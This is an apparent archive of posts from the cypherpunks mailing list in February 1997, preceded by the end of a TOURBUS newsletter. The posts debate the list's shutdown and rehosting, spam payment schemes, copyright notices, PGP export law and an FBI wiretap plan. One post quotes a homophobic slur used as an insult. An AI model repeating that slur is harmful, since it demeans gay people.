you visit all 3 sponsors who made today's TOURBUS post possible: Mediadome,
Magazines.Com, and ...

*--------------------------- MASS MUSIC -----------------------------*
  More Music For Your Money!  Over 185,000 Titles Just A Click Away.
 FREE Weekly Music Zine - Buy 7 Get 1 FREE Everyday - Treasure Hunt!
      TOURBUS Rider Discount code: SAVENOW! use it and save 5%
*------------------(  http://www.Mass-Music.com  )-------------------*

--------------------------------
TODAY'S SOUTHERN WORD OF THE DAY
--------------------------------

LAYMAN (noun).  A tart fruit.
Usage:  "Hunny, git me some more of that layman aid!"

(Special thanks goes to Tom Bates for today's word)

YOU CAN FIND ALL OF THE OLD SOUTHERN WORDS OF THE DAY ON THE SOUTHERN WORD
HOMEPAGE AT http://ua1vm.ua.edu/~crispen/word.html

======================================================================
 Join  : Send SUBSCRIBE TOURBUS Your Name to LISTSERV@LISTSERV.AOL.COM
 Leave : Send SIGNOFF TOURBUS to LISTSERV@LISTSERV.AOL.COM
 Info  : On the Web at http://www.worldvillage.com/tourbus.htm
 Advertising: E-mail BobRankin@MHV.net w/ Subject: SEND TBRATES
=--------------------------------------------------------------------=
  For info on my new book "Atlas for the Information Superhighway"
     send an e-mail letter to LISTSERV@UA1VM.UA.EDU that says
     GET ATLAS INFO F=MAIL in the body of your e-mail letter
======================================================================

     TOURBUS - (c) Copyright 1997, Patrick Crispen and Bob Rankin
 All rights reserved.  Redistribution is allowed only with permission.
     Send this copy to 3 friends and tell them to get on the Bus!

   (\__/)  .~    ~. ))
   /O O  ./      .'             Patrick Douglas Crispen
  {O__,   \    {               The University of Alabama
    / .  . )    \                crispen@campus.mci.net
    |-| '-' \    }           http://ua1vm.ua.edu/~crispen/
   .(   _(   )_.'
  '---.~_ _ _&                    Warning: squirrels.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Sat, 15 Feb 1997 00:26:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702150826.AAA07213@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin writes:
 > Just for the record.  I will not post to USENET given the spamming that
 > seems to go to IDs that appear there.  
 > 
 > If any of you reading this are interested in law&crypto topics, please
 > bookmark my homepage, and vist every so often.

I suggest that you munge up your from line and possibly your reply-to
address in Usenet postings.  Folks who actually want to communicate
with you can derive your address from your .sig.

By the way, I have intentions of including your web page(s) as
references in the cypherpunks-resources faq I am producing.  Any
objections to this? (I know it's in your .sig and you want to
advertise it, but it just strikes me as _polite_ to ask.)

me

-- 
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1980
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 15 Feb 1997 00:26:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702150826.AAA07239@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> From: Kent Crispin <kent@songbird.com>
> Subject: Re: Private property & the cypherpunks list(s) (fwd)
> Date: Fri, 14 Feb 1997 14:10:36 -0800 (PST)

> Jim, if I put "Copyright (c) 1997 by Kent Crispin.  All Rights 
> Reserved." in my .sig, would that constitute a "fair-use header"?

As I understand it '(c)' is not considered acceptably close to the normal
copyright symbol. What I have been advised is to always spell out 'copyright
<date> <person>'.

                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 15 Feb 1997 00:27:30 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702150827.AAA07247@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I want to thank you for the years of graciously hosting the cypherpunks
list.  Although I have only been active on the list since September, I have
lurked much longer and found it to be an invaluable source of information,
networking, discourse and inspiration.

I respect your decisions first to experiment with moderation and later to
pull the plug.  I regret your attempts in resolving the uncivil behavior of
'the few' failed and that some key posters, who had served as the
'backbone' of interesting discussion on the list, were driven off by the
insuing clamor and the off-topic rants.  So be it.  One way or another the
cypherpunks have spoken.

So, now its on to Usnet and more focused/moderated lists.  The LIST IS
DEAD, long live THE LISTS!

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 15 Feb 1997 00:26:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fuck UseNet (fwd)
Message-ID: <199702150826.AAA07223@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Fri, 14 Feb 1997 14:39:41 -0800 (PST)
> From: Kent Crispin <kent@songbird.com>

> But the distributed mailing list is by far the most interesting 
> solution.  Contrary to what some have claimed, it really isn't the 
> same as usenet -- it allows for distributed control.  There is no 
> doubt that the operator of a mail list host should have the freedom 
> to set his or her policies as they see fit -- it is their machine, 
> and their responsibility.  And contrariwise, subscribers should have 
> the freedom to chose list hosts with compatible philosophies.

Perhaps in addition to the X-foo structures we have discussed already we
might consider adding,

X-distrib-policy: foo

Where foo might be,

         Public Domain
         All rights reserved, contact author for redistribution
         Distribution for non-commercial uses permitted
         Refer to authors header
         Copyleft
         etc.

or whatever the policy might be for a given remailer. This would
significantly aid folks in their shopping around.


                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 15 Feb 1997 00:41:09 -0800 (PST)
To: "John C. Randolph" <cypherpunks@toad.com
Subject: Re: More on digital postage
Message-ID: <199702150841.AAA07715@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:31 AM 2/14/97 -0800, John C. Randolph wrote:
>
>Tim may says:
>
>>By the way, I think the "junk fax" and "junk phone call" laws are clearcut
>>violations of the First Amendment. I understand why the herd _wants_ these
>>laws, as it reduces the costs involved in replacing fax paper, running to
>>the telephone only to find someone trying to sell something, etc., but it
>>is quite clearly a prior restraint on speech, however well-intentioned.
>
>I have to disagree here.  The junk fax law is a restraint on unauthorised
>use of property, i.e. *my* fax machine, *my* phone, etc. 

However, you connect that fax machine to a phone line, when you know full 
well that should it be enabled to do so, it will automatically pick up the 
phone when it "hears" a ring, and will print out a fax based on information 
provided.  It isn't clear why sending a fax is any "wronger" than mailing 
junk mail, or making a (voice) phone call to somebody.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 15 Feb 1997 00:41:01 -0800 (PST)
To: Pete Capelli <cypherpunks@toad.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702150841.AAA07690@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:12 AM 2/13/97 -0500, Pete Capelli wrote:
>jim bell wrote:
>> 
>> At 03:25 PM 2/12/97 -0800, Timothy C. May wrote:
>
><Some deleted>
>
>> even more happy to pay, say, 10 cents to each recipient.  At that rate, an average
>> person would probably receive enough "spam" to  pay for his Internet
>> account, quite analogous to the way advertiser-supported TV is presented to
>> the public for no explicit charge.
>
>	Yes, but why does monetary compensation make it then O.K.? 


What, exactly, is your definition of "O.K."?    I didn't say that would make 
it "O.K."   Rather, the inclusion of the money makes the spam somewhat more 
tolerable of an intrusion than it would otherwise be.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 15 Feb 1997 00:41:12 -0800 (PST)
To: snow <pete@ubisg.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702150841.AAA07716@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:05 AM 2/14/97 -0600, snow wrote:
>Pete:
>> 	Yes, but why does monetary compensation make it then O.K.?  I'd rather
>> pay for my Internet access, then be bombarded by spam, no matter what
>> they paid me!  I think the best soln. is the one that is currently in
>> place for phone calls - they can call once, but if I tell them not to
>> call me again and they do, I can then begin legal action against them. 
>> I pay more per month for my phone service than my Internet service (
>> although in NY, *everything* is more expensive. ), and junk phone calls
>> are way more intrusive then spam.
>
>	I figure if this scheme comes to fruition, I'll just set up a seperate
>account (or procmail) to filter out the spam, deposit the coin, and go on
>about my business.


That's fine...that's EXACTLY the way the system would work!  Intentionally 
so!  The purpose of the payment is not because the sender feels some sort of 
legal obligation to pay; rather it's analogous to a tip to a waiter.

The sender makes the payment based on however much he _wants_ you to pay 
attention to his message, but fully aware that there is no guarantee that 
you'll do so.  

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 15 Feb 1997 00:26:20 -0800 (PST)
To: aaron@herringn.com
Subject: Re: Cypherpunks afraid of spam?
Message-ID: <199702150826.AAA07228@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> It seems very strange that the denziens of this list, reputed to be gutsy
> enough to take on the FBI, NSA, CIA, and White House, would be scared
> away from a discussion forum (Usenet) by uninvited email.
> We'd better hope they never figure out Cypherpunks, Guardians of
> Privacy and Defenders of Free Speech, are afraid of spam.

	It isn't the Once and a While Big Ass Knock Down Drag Outs that kick
your ass, it is the mosquito's and the heat, the moldy bread and the drip
drip drip of the constant rain. 

	Even Solid rock gets worn away by the steady drip drip drip of the 
rain. I hate that drip. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 15 Feb 1997 00:26:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702150826.AAA07234@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Fri, 14 Feb 1997 17:39:32 -0800
> From: Toto <toto@sk.sympatico.ca>
> Subject: Re: Private property & the cypherpunks list(s) (fwd)

>   Personally, I try to let people know that they may use even my 
> private email in any manner they see fit. I have no objection to
> even those who disagree with me using it to attack me or misdirect
> others, or whatever.
>   I agree with Jim's 'defacto public domain' idea, as long as it 
> does not conflict with the reality of the need for intellectual
> property rights.
>   e.g. - copyright and patent law

I am not preventing people from retaining their rights. I simply recognize
that there are entirely too many different views of 'fair use' to create a
blanket order. I also recognize that one responsibility in a democracy of
all citizens is the protection of the results of human effort. The best way
to protect and preserve information is to place it in the public domain. Of
course the other option is to sell large 'collections' to groups like
Microsoft who would end up charging you out the ya-ya for looking at 'their'
pretty pictures. Wonder what DaVinci would have thought of the way we treat
HIS paintings? But I digress. Given that people have many highly
individualistic views about copyright of their expression and the need to
preserve that expression we must ask ourselves how? One obvious answer is to
place everything in the public domain, I am shure the information race we
experience now would be nothing compared to that worlds output. However,
this prevents truly gifted individuals from being able to spend the time (eg
lifetimes) needed to truly master some forms of expression. We certainly
don't want to support them on the public dole, so there must be some way for
them to make a living off their work. So we recognize their originality or
inherent worth in their expression. We also recognize that there can't be
complete and total protection because most people would not find a buyer for
their expression simply from lack of knowledge. So, lets find a middle
ground, one where people can tell other people about things they experience
as well as feel secure that their efforts have some inherent worth and also
some failsafe to ensure that as much effort as possible gets archived. So
let's require each person to include their prefered choice of copyright in
their communications, otherwise it falls into the public domain.

The only resolution of this approach is that everyone gets what they want.

Not relevant in this forum, but I also believe that material being held in
copyright should fall into the public domain when the copyright holder dies.

>   If you are having trouble understanding the concept I am dealing
> with, here, then I suggest that you drink a bottle of Scotch and
> read this post again.

That's certainly one way to get in the correct attitude...;)


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 15 Feb 1997 00:41:13 -0800 (PST)
To: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Subject: Re: Letter Re: Kahn Supporting GAK
Message-ID: <199702150841.AAA07717@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:35 PM 2/5/97 +0000, Robert Rothenburg 'Walking-Owl' wrote:
>Good point: but I've seen a few refs from LEAs about "Drug Dealer X 
>who we can't talk about" or "Child Pornographer Y who we can't talk 
>about" (in lieu of cases being digested by the court system) so I 
>didn't harp on that point.
>
>A point I did leave out was that if they already knew these people 
>were criminals and were building cases against them, monitoring them 
>enough to know they used crypto, then do they really need to bother 
>with listening in to the exact message?


I think it would be appropriate to insist that these guys (the LEAs) 
document their need for decryption, by providing "us" (the public) with an 
encrypted version of the data that they have accessed but cannot understand, 
as well as its source and what case it's associated with.  The LEAs would 
encrypt it and publicize it (not openly identifying the details) but with 
the promise that the key to unlock the information would be released within, 
say, a year or even earlier once a case is brought.  Included within the 
encrypted identification would be references sufficient to identify the case 
involved.

If they have any doubts as to why they should do this, we should point out 
that we see no reason to believe their claims, but we want to give them the 
maximum opportunity to prove them without requiring that they spill the 
beans, completely, now.   

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scott Auge <scotta@sauge.com>
Date: Sat, 15 Feb 1997 00:25:57 -0800 (PST)
To: "Scott A. Hommel" <shommel@zoo.uvm.edu>
Subject: Re: pgp encrypted messages
Message-ID: <199702150825.AAA07169@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Scott A. Hommel wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Is it legal or illegal to send a
> PGP encrypted message from the US to someone in another country?
> 

Suppose it depends on what ya put IN the message....

-- 
How has the government interfered in your life today?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Sat, 15 Feb 1997 00:42:51 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702150842.AAA07769@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Yes, I get spam too.  But it's still less than the spam directed at an old
account on another machine, that posted regularly to usenet until about 3
years ago!  And hasn't been used at all since...


On Fri, 14 Feb 1997, Adam Shostack wrote:

> Date: Fri, 14 Feb 1997 18:38:24 -0500 (EST)
> From: Adam Shostack <adam@homeport.org>
> To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
> Cc: shamrock@netcom.com, tcmay@got.net, cypherpunks@toad.com
> Subject: Re: Good Bye Cypherpunks!
> 
> Michael Froomkin - U.Miami School of Law wrote:
> | Just for the record.  I will not post to USENET given the spamming that
> | seems to go to IDs that appear there.  
> 
> 	Your postings appear on the web, as part of the cypherpunks
> archives at infinity.nus.sg.
> 
> http://infinity.nus.sg/cypherpunks/current/0089.html
> 
> 	There seem to be robots that search the web; I've never even
> read usenet from this account, and I get spam.
> 
> Adam
> 
> 
> -- 
> "It is seldom that liberty of any kind is lost all at once."
> 					               -Hume
> 
> 

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Sat, 15 Feb 1997 00:41:03 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re:
Message-ID: <199702150841.AAA07706@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[cc list trimmed!]

On Fri, 14 Feb 1997 paul@fatmans.demon.co.uk wrote:

> 
> > Is it legal or illegal to send a 
> > PGP encrypted message from the US to someone in another country?
> 
> Yes.
> 

Rubbish.  It is perfectly legal.  See generally
http://www.law.miami.edu/~froomkin/articles/clipper.htm

PS. His sexist comments are rubbish too.  I usually like his crypto posts,
however, as long as they are technical rather than legal...

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sat, 15 Feb 1997 00:43:23 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702150843.AAA07793@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> At 02:05 AM 2/14/97 -0600, snow wrote:
> >Pete:
> >> 	Yes, but why does monetary compensation make it then O.K.?  I'd rather
> >> pay for my Internet access, then be bombarded by spam, no matter what
> >> they paid me!  I think the best soln. is the one that is currently in
> >> place for phone calls - they can call once, but if I tell them not to
> >> call me again and they do, I can then begin legal action against them. 
> >> I pay more per month for my phone service than my Internet service (
> >> although in NY, *everything* is more expensive. ), and junk phone calls
> >> are way more intrusive then spam.
> >
> >	I figure if this scheme comes to fruition, I'll just set up a seperate
> >account (or procmail) to filter out the spam, deposit the coin, and go on
> >about my business.
> 
> 
> That's fine...that's EXACTLY the way the system would work!  Intentionally 
> so!  The purpose of the payment is not because the sender feels some sort of 
> legal obligation to pay; rather it's analogous to a tip to a waiter.
> 
> The sender makes the payment based on however much he _wants_ you to pay 
> attention to his message, but fully aware that there is no guarantee that 
> you'll do so.  

I can suggest a scheme where a fee would be attached to the message,
and the recipient would be able to get the money only after having
read and understood the message.

For example, you might receive the following message (it could be encrypted
by your public key to preserve the cash from the MITM):

To: jimbell@pacifier.com
From: spammer@dm1.com (Direct Marketing, by way of telysis.com)
Subject: an encrypted cyberdollar for you
X-Encrypted-Postage: 0891281229qwqoifoweihjrfiohsdlifhsluire82374029849
                     weuiyruiy3478ye874t23876459823y4897y5897y23849y589
                     39847578r3498yt893y75t9843y75t897y4385t9y74897gy77
X-Encryption-Key: in the message body

Dear Jim,

Here's one cyberdollar for you. It is "locked" by an encryption key. The
cybercoin is encrypted by an IDEA key and you can find out the key
by reading the message below:

@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ 
Valentines' day presents at www.cheap-stuff.com!

An ideal Valentine's day present for your significant other, at a 
reduced cost for you! You can buy your loved one a thousand used 
condoms (mint condition) at a reduced rate of ONLY $5.95!

Visit us at http://www.cheap-stuff.com/cgi-bin/condoms/key.cgi?name=jimbell
to get your postage!
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ 

The encryption key is located at the URL above.

###########################################################################

My opinion on this: I personally feel that this scheme is the way to 
go for spammers. Obviously, it is possible to build mail readers that 
would verify some kind of trusted signature on the attached postage, and
would highlight all such messages. The meaning of signature is "these
people are not crooks, there really is an encrypted dollar there".

Clearly, spammers who pay their readers to read their messages (and who
do get them to read) will have a very high response rate. That may 
justify adding postage to their letters.

The advantages are obvious. The disadvantage is a possibility of someone
stealing the money on the way, if the letters are not encrypted.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sat, 15 Feb 1997 00:42:49 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702150842.AAA07768@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> 
> Igor said:
> > I can suggest a scheme where a fee would be attached to the message,
> > and the recipient would be able to get the money only after having
> > read and understood the message.
> > 
> > For example, you might receive the following message (it could be encrypted
> > by your public key to preserve the cash from the MITM):
> 
> > do get them to read) will have a very high response rate. That may 
> > justify adding postage to their letters.
> > 
> > The advantages are obvious. The disadvantage is a possibility of someone
> > stealing the money on the way, if the letters are not encrypted.
> 
> 	That would be great. Sit home all day and hit web pages for a living.
> 

Well, they will stop sending you money if they find out that you do not buy
their products.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 15 Feb 1997 00:41:08 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702150841.AAA07714@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor said:
> I can suggest a scheme where a fee would be attached to the message,
> and the recipient would be able to get the money only after having
> read and understood the message.
> 
> For example, you might receive the following message (it could be encrypted
> by your public key to preserve the cash from the MITM):

> do get them to read) will have a very high response rate. That may 
> justify adding postage to their letters.
> 
> The advantages are obvious. The disadvantage is a possibility of someone
> stealing the money on the way, if the letters are not encrypted.

	That would be great. Sit home all day and hit web pages for a living.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Sat, 15 Feb 1997 00:27:55 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Fuck UseNet
Message-ID: <199702150827.AAA07251@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   Delivered-To: reece-cpunks@taz.nceye.net
   Delivered-To: reece@taz.nceye.net
   Date: Fri, 14 Feb 1997 19:02:19 +0000
   From: paul@fatmans.demon.co.uk
   Cc: cypherpunks@toad.com, cypherpunks@algebra.com,
	   alt.cypherpunks@news.demon.net
   Sender: owner-cypherpunks@toad.com
   Precedence: bulk


   >   So, basically, you're saying that the flight from censorship should
   > be toward a new CypherPunk 'home' where one is effectively censored
   > automatically unless one kisses the ass of a Cabal?

   Absolutely, It is really, as far as I see it anyway, just a stop-gap 
   measure. The caballers haven`t got enough room to do their censorship 
   on the 18000 or so big 7 groups so they decide to fuck up the alt. 
   heirachy as well ;-)

   Hopefully Igor and co.`s network of Majordomo's should be fully 
   operational soon (as I understand it two are up and a third is on 
   it's way) then we can move back there. Might even get it finished 
   before the 20th?????

Why not a network of news servers with mail<->news gateways on some of
them?  It should even be possible to use the news spool as the queue,
so that only info on who needs what messages need lie around rather
than 42 copies of the message (something like nntpsend, just using
smtp).  I actually have some spare time this weekend to try
implementing this.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sat, 15 Feb 1997 07:41:07 -0800 (PST)
To: ravage@EINSTEIN.ssz.com
Subject: Re: Fuck UseNet (fwd)
Message-ID: <199702151541.HAA23094@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 15-FEB-1997 07:11:54.43

>Perhaps in addition to the X-foo structures we have discussed already we
>might consider adding,

>X-distrib-policy: foo

>Where foo might be,

>         Public Domain
>         All rights reserved, contact author for redistribution
>         Distribution for non-commercial uses permitted
>         Refer to authors header
>         Copyleft
>         etc.

>or whatever the policy might be for a given remailer. This would
>significantly aid folks in their shopping around.

	The basic difficulty with this idea is that _senders_ generally
don't have much of a choice where the messages go, once you've decided
to accept them. In other words, just because you've decided to accept
a message doesn't mean it suddenly becomes
copyleft/public domain/whatever. Now, if you, say, announced that only
subscribers to your particular list, subscribers to any other lists
adopting the same idea, and those who'd sign a consent agreement could
post through your list, that wouldn't be a problem... although I
suspect you wouldn't get many subscribers.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 09:26:06 -0800 (PST)
To: Kent Crispin <kent@songbird.com>
Subject: Re: Private property & the cypherpunks list(s)
Message-ID: <199702151726.JAA27025@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> ichudov@algebra.com allegedly said:
> > Firebeard wrote:
> > > >>>>> Igor Chudov @ home writes:
> > >     And once I'm up and running, my cypherpunks list server will
> > > not be interconnected with any server which has a similar AUP.  The
> > > implication of the AUP is that if you _don't_ comply with it, you will
> > > be blocked.  Without such an implication, the AUP is meaningless, and
> > > I'm dedicated that there should be no filtering/blocking of any kind,
> > > of the list.  Persons behaving 'unacceptably' should be handled by
> > > social pressures by others in the 'community' of the list, and not by
> > > policies of the list operators.

> I can understand this sentiment, given the events of the past couple
> of months, but it seems short-sighted.  If this scheme grows there
> could be several hundred or more mailers involved, and there is no
> technical reason why moderated lists couldn't be included.
> Remember that each list operator actually represents a community of
> users, users who are *free* to go elsewhere if they choose.  Clearly,
> some people would chose to populate a filtered list.  There is no
> reason whatsoever to discriminate against them.

There could be, but that would be on a case-by-case basis.  There
are times when carrying a censored feed that you'd be giving tacit
approval to the censorship itself.  Again, case-by-case basis.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 15 Feb 1997 07:55:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: FBI_100
Message-ID: <199702151555.HAA23608@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


2-15-97. NYP:

"Phone Companies Balk At Latest Plan by FBI." Markoff.

   Telcos are arguing that the new system will be far more
   intrusive and expensive than industry first thought, and
   would expand LEA wiretap capabilities 100-fold. "This is
   kind of scary. What does the FBI know about our future
   that we don't?"

-----

FBI_100

----------

See the FBI's latest wiretap plan at:

   http://jya.com/fbi011497.txt






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sat, 15 Feb 1997 07:56:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Switching to full traffic mode
Message-ID: <199702151556.HAA23682@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I would like to warn and ask subscribers of cypherpunks@algebra.com.

We are going ot get full feel from Lance Cottrell and
cypherpunks-unedited@toad.com.

We will filter messages by Message-ID to get rid of duplicates.

It means that there is no sense (unless you want to confirm my integrity
as the list host) to be subscribed to any of the other lists, as you 
will be getting multiple copies of messages.

If you are afraid of that and use Unix, the following procmail recipe 
gets rid of duplicates:

#
# This recipe removes duplicates!
#
:0 Wh: msgid.lock
| formail -D 32768 msgid.cache

I am somwehat concerned by the behavior of my majordomo which is
very paranoid about incoming messages: it rejects all messages that
it THINKS are attempts to suscribe and unsuscribe. In this rejection, 
it is sometimes too broad. I do not know how to solve this problem.

ATTENTION: if you want to get a feed from me, PLEASE send me a note and
do not simply subscribe your mailing list to cypherpunks@algebra.com. It
is because I want to send you the messages before my majordomo rewrites
headers.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sat, 15 Feb 1997 07:56:09 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Dave Hayes takes over Cypherpunks
Message-ID: <199702151556.HAA23651@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> 
> Gilmore proposes useless projects like S/Wan and misguided people waste
> their time and effort instead of deploying crypto.

What is wrong with S/WAN? I think that it is a great project.

> And we already know that Peter Berger is a faggot because he suppresses
> free speech on Usenet.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 11:11:03 -0800 (PST)
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702151911.LAA01259@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes wrote:
> Ok. I'll "put up".
> If the cypherpunks will have me, -I'll- run the cypherpunks
> list. Those that know me know that I will *not* censor, moderate, or
> otherwise alter the content (other than the stuff majordomo does with
> "resend") of any messages to the list.

You have my vote.  And any help I can provide, within my limits.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 11:10:59 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702151910.LAA01251@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dave Hayes wrote:
> > Ok. I'll "put up".
> > If the cypherpunks will have me, -I'll- run the cypherpunks
> > list. Those that know me know that I will *not* censor, moderate, or
> > otherwise alter the content (other than the stuff majordomo does with
> > "resend") of any messages to the list.

> I think that it is a great idea. If you want to contribute to the
> effort to keep the list, this is great. You could join the network of
> other cypherpunks mailing lists.
> There is a small list for discussing these networking issues,
> cypherpunks-hosts@algebra.com. It is not for crypto-discussions per
> se, but rather for discussing how we proceed with these lists.

If I understood the last several hundred messages correctly, they have
tried to make the point that the cypherpunks mailing list (unedited)
was more ideal than a newsgroup.  If this is what Dave is offering,
I'm surprised if more people don't jump on it.  Then again, they
took their good ol' time jumping onto cypherpunks-unedited.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 15 Feb 1997 11:11:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: 48-bit RC5 code broken [fwd]
